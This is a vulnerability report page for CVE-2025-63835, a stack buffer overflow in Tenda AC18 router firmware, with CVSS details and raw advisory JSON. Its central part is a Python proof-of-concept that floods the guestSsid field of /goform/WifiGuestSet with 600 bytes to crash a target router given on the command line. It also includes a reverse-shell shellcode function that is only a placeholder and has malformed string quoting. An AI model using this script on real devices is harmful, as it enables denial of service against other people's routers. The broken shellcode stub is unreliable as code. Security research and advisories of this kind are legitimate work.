Security Vulnerability Report
中文
CVE-2025-63835 CVSS 8.8 HIGH

CVE-2025-63835

Published: 2025-11-10 17:15:36
Last Modified: 2025-11-18 17:16:13

Description

A stack-based buffer overflow vulnerability was discovered in Tenda AC18 v15.03.05.05_multi. The vulnerability exists in the guestSsid parameter of the /goform/WifiGuestSet interface. Remote attackers can exploit this vulnerability by sending oversized data to the guestSsid parameter, leading to denial of service (device crash) or potential remote code execution.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:ac18_firmware:15.03.05.05:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ac18:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC18 v15.03.05.05_multi

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-63835 PoC - Tenda AC18 guestSsid Stack Buffer Overflow Note: This PoC is for educational and security research purposes only. Unauthorized access to computer systems is illegal. """ import requests import sys def exploit_tenda_ac18(target_ip, attacker_ip="0.0.0.0", port=80): """ Exploit CVE-2025-63835 by sending oversized guestSsid parameter to /goform/WifiGuestSet endpoint Args: target_ip: Target router IP address attacker_ip: Attacker controlled IP for reverse shell callback port: Target port (default 80) """ url = f"http://{target_ip}:{port}/goform/WifiGuestSet" # Generate payload with 600 bytes to trigger overflow # Adjust length based on target firmware version padding_length = 600 payload = "A" * padding_length # Prepare POST data data = { "guestSsid": payload, "guestEn": "1", "time": "999999", "password": "guest1234" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded", "Referer": f"http://{target_ip}/wifi_guest.asp" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {padding_length} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") # Check if device crashes (no response) if response.status_code == 0 or response.text == "": print("[!] Target device may have crashed - no response received") return True except requests.exceptions.Timeout: print("[!] Request timed out - device may have crashed") return True except requests.exceptions.ConnectionError: print("[!] Connection failed - device may be offline/crashed") return True except Exception as e: print(f"[-] Error: {str(e)}") return False return False def generate_shellcode(callback_ip, callback_port=4444): """ Generate shellcode for reverse shell connection This would be integrated into the overflow for RCE """ # MIPS shellcode for Tenda AC18 (placeholder) shellcode = f"" # Connect back to {callback_ip}:{callback_port} # Execute /bin/sh or telnetd """ return shellcode if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-63835.py <target_ip> [callback_ip] [port]") print("Example: python3 cve-2025-63835.py 192.168.0.1 10.0.0.1 80") sys.exit(1) target = sys.argv[1] callback = sys.argv[2] if len(sys.argv) > 2 else "0.0.0.0" port = int(sys.argv[3]) if len(sys.argv) > 3 else 80 exploit_tenda_ac18(target, callback, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63835", "sourceIdentifier": "[email protected]", "published": "2025-11-10T17:15:35.960", "lastModified": "2025-11-18T17:16:13.363", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow vulnerability was discovered in Tenda AC18 v15.03.05.05_multi. The vulnerability exists in the guestSsid parameter of the /goform/WifiGuestSet interface. Remote attackers can exploit this vulnerability by sending oversized data to the guestSsid parameter, leading to denial of service (device crash) or potential remote code execution."}, {"lang": "es", "value": "Una vulnerabilidad de desbordamiento de búfer basado en pila fue descubierta en Tenda AC18 v15.03.05.05_multi. La vulnerabilidad existe en el parámetro guestSsid de la interfaz /goform/WifiGuestSet. Atacantes remotos pueden explotar esta vulnerabilidad enviando datos de tamaño excesivo al parámetro guestSsid, lo que lleva a una denegación de servicio (caída del dispositivo) o a una potencial ejecución remota de código."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac18_firmware:15.03.05.05:*:*:*:*:*:*:*", "matchCriteriaId": "4D5CB727-FC6B-4212-A61E-2888A0DADFB0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac18:-:*:*:*:*:*:*:*", "matchCriteriaId": "CF9F8AF9-F921-4348-922B-EE5E6037E7AC"}]}]}], "references": [{"url": "https://github.com/babraink/cve_report/blob/main/cve_report/tenda/tendaAC18/2_wifiguest_guestssid_overflow/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}